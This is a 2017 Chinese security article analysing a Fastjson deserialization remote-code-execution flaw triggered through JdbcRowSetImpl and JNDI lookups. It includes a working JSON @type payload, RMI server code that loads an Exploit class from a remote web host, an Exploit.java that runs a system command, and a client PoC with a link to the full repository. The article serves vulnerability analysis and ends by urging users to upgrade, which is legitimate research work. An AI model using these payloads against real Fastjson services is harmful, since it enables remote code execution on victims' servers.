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【技术分享】基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析

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【技术分享】基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析

2017-11-23 16:16:41
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来源: 安全客







【技术分享】基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析

作者:@廖新喜已被注销

预估稿费:1200

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


背景

这篇文章主要是基于我在看雪2017开发者峰会的演讲而来,由于时间和听众对象的关系,在大会上主要精力都集中在反序列化的防御上。前面的Fastjson PoC的构造分析涉及得很少,另外我在5月份分享的Fastjson Poc构造与分析限制条件太多,所以写下这篇文章。


Fastjson 使用

Fastjson是Alibaba开发的,Java语言编写的高性能JSON库。采用“假定有序快速匹配”的算法,号称Java语言中最快的JSON库。Fastjson接口简单易用,广泛使用在缓存序列化、协议交互、Web输出、Android客户端 提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化。项目地址:https://github.com/alibaba/fastjson 。那我们看下如何使用?首先定义一个User.java,代码如下:

publicclassUser{ privateLongid; privateStringname; publicLonggetId(){ returnid; } publicvoidsetId(Longid){ this.id=id; } publicStringgetName(){ returnname; } publicvoidsetName(Stringname){ this.name=name; } }

序列化的代码如下:

importcom.alibaba.fastjson.JSON; UserguestUser=newUser(); guestUser.setId(2L); guestUser.setName("guest"); StringjsonString=JSON.toJSONString(guestUser); System.out.println(jsonString); 反序列化的代码示例: StringjsonString="{\"name\":\"guest\",\"id\":12}"; Useruser=JSON.parseObject(jsonString,User.class);

上述代码的parseObject也可以直接用parse接口。


Fastjson安全特性

反序列化的Gadget需要无参默认构造方法或者注解指定构造方法并添加相应参数。使用Feature.SupportNonPublicField才能打开非公有属性的反序列化处理,@type可以指定反序列化任意类,调用其set,get,is方法。 1 上图则是Fastjson反序列框架图。JSON门面类,提供一些静态方法,如parse,parseObject.其主要功能都是在DefaultJSONParser类中实现。DefaultJSONParser引用了ParserConfig,主要保存一些相关配置信息。也引用了JSONLexerBase,这个类用来处理字符分析。而反序列化用到的JavaBeanDeserializer则是JavaBean反序列化处理主类。fastjson在1.2.24版本添加enable_autotype开关,将一些类加到黑名单中,后续我也给它报过bypass,fastjson也一并修复。


【技术分享】基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析

JNDI

JNDI即Java Naming and Directory Interface,翻译成中文就Java命令和目录接口,2016年的blackhat大会上web议题重点讲到,但是对于json这一块没有涉及。JNDI提供了很多实现方式,主要有RMI,LDAP,CORBA等。我们可以看一下它的架构图


【技术分享】基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析

JNDI提供了一个统一的外部接口,底层SPI则是多样的。在使用JNDIReferences的时候可以远程加载外部的对象,即实现factory的初始化。如果说其lookup方法的参数是我们可以控制的,可以将其参数指向我们控制的RMI服务,切换到我们控制的RMI/LDAP服务等等。

Registryregistry=LocateRegistry.createRegistry(1099); //http://xxlegend.com/Exploit.class Referencereference=newjavax.naming.Reference(“Exploit",“Exploit","http://xxlegend.com/"); ReferenceWrapperreferenceWrapper=newcom.sun.jndi.rmi.registry.ReferenceWrapper(reference); registry.bind(“Exploit",referenceWrapper);

这段代码主要讲到了在1099端口上创建一个RMI服务,RMI的内容则是通过外部的http服务地址获取。在客户端则是将lookup的地址指向刚才我们创建的RMI服务,即能达到远程代码执行的目的。可以使用如下的请求端代码进行测试:

Hashtableenv=newHashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL,"rmi://localhost:1099"); Contextctx=newInitialContext(env); Objectlocal_obj=RicterCctx.lookup("rmi://xxlegend.com/Exploit");

那么攻击者的流程就是这样的。攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE。


PoC构造与分析

介绍的背景有点多,正式切入我们的正题,基于JdbcRowSetImpl的PoC是如何构造和执行的。在今年5月份的时候,我也公布了Fastjson基于TemplateImpl的PoC的,但是限制还比较多,需要打开SupportNonPublic开关,这个场景是比较少见的,详细的分析见我的博客http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/ ,后续ricterz也作了一篇分析:https://ricterz.me/posts/Fastjson%20Unserialize%20Vulnerability%20Write%20Up 。 在看雪峰会上我提到了好几种PoC,下面我简单的给这些PoC做个分类:

1,基于TemplateImpl

2,基于JNDI Bean Property类型

3,基于JNDI Field类型

今天主讲基于JNDI Bean Property这个类型,这个类型和JNDI Field类型的区别就在于Bean Property需要借助setter,getter方法触发,而Field类型则没有这个必要。JdbcRowSetImpl刚好就在Bean Property分类之下,其他的PoC后续再讲。这个Poc相对于TemplateImpl却没有一点儿限制,当然java在JDK 6u132, 7u122, or 8u113补了是另外一码事。 PoC具体如下:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:389/obj","autoCommit":true}

由于这个PoC是基于JNDI,下面我们简单构造一下,首先是服务端的代码:

publicclassJNDIServer{ publicstaticvoidstart()throws AlreadyBoundException,RemoteException,NamingException{ Registryregistry=LocateRegistry.createRegistry(1099); //http://xxlegend.com/Exploit.class即可 Referencereference=newReference("Exloit", "Exploit","http://xxlegend.com/"); ReferenceWrapperreferenceWrapper=newReferenceWrapper(reference); registry.bind("Exploit",referenceWrapper); } publicstaticvoidmain(String[]args)throwsRemoteException,NamingException,AlreadyBoundException{ start(); } }

rmi服务端需要一个Exploit.class放到rmi指向的web服务器目录下,这个Exploit.class是一个factory,通过Exploit.java编译得来,在JNDI执行的过程会被初始化。如下是Exploit.java的代码:

publicclassExploit{ publicExploit(){ try{ Runtime.getRuntime().exec("calc"); }catch(Exceptione){ e.printStackTrace(); } } publicstaticvoidmain(String[]argv){ Exploite=newExploit(); } }

服务端构造好之后,下面来看java应用执行的代码,示例如下:

publicclassJdbcRowSetImplPoc{ publicstaticvoidmain(String[]argv){ testJdbcRowSetImpl(); } publicstaticvoidtestJdbcRowSetImpl(){ //Stringpayload="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\","+ //"\"autoCommit\":true}"; Stringpayload="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\","+ "\"autoCommit\":true}"; JSON.parse(payload); } }

完整的代码已经放到https://github.com/shengqi158/fastjson-remote-code-execute-poc,大家可以下载调试分析。

PoC调用栈如下


【技术分享】基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析

从这个调用栈就可以看出,在进入Gadget之前,首先是Java应用调用Fastjson的parseObject或者parse接口,进入JavaObjectDeserializer.deserialize方法,经过一系列判断之后发现是JavaBean,就会调用JavaBeanDeserializer.deserialize接口,反序列化得到Gadget相关域,在这个过程中都是通过反射调用这些域的getter,setter或者is方法,这就正式在Gadget执行代码。下面看一下在Gadget中执行的代码。在反序列化过程中是有次序来调用相应接口的,首先是设置dataSourceName属性,这个是其父类BaseRowSet继承过来的。

publicvoidsetDataSourceName(Stringname)throwsSQLException{ if(name==null){ dataSource=null; }elseif(name.equals("")){ thrownewSQLException("DataSourcenamecannotbeemptystring"); }else{ dataSource=name; } URL=null; }

设置autoCommit属性:

publicvoidsetAutoCommit(booleanvar1)throwsSQLException{ if(this.conn!=null){ this.conn.setAutoCommit(var1); }else{ this.conn=this.connect(); this.conn.setAutoCommit(var1); } }

这setAutoCommit里函数里会触发connect函数。

privateConnectionconnect()throwsSQLException{ if(this.conn!=null){ returnthis.conn; }elseif(this.getDataSourceName()!=null){ try{ InitialContextvar1=newInitialContext(); DataSourcevar2=(DataSource)var1.lookup(this.getDataSourceName()); returnthis.getUsername()!=null&&!this.getUsername().equals("")?var2.getConnection(this.getUsername(),this.getPassword()):var2.getConnection(); }catch(NamingExceptionvar3){ thrownewSQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString()); } }else{ returnthis.getUrl()!=null?DriverManager.getConnection(this.getUrl(),this.getUsername(),this.getPassword()):null; } }

这里面就调用InitialContext的lookup方法,而且找到的就是我们前面设置的DataSourceName(),达到远程调用任意类的目的。由于JdbcRowSetImpl是官方自带的库,所以这个PoC的威力相对来说更厉害。如果还在使用Fastjson 1.2.24版本及以下烦请升级。


引用:

1, https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf

2,http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/



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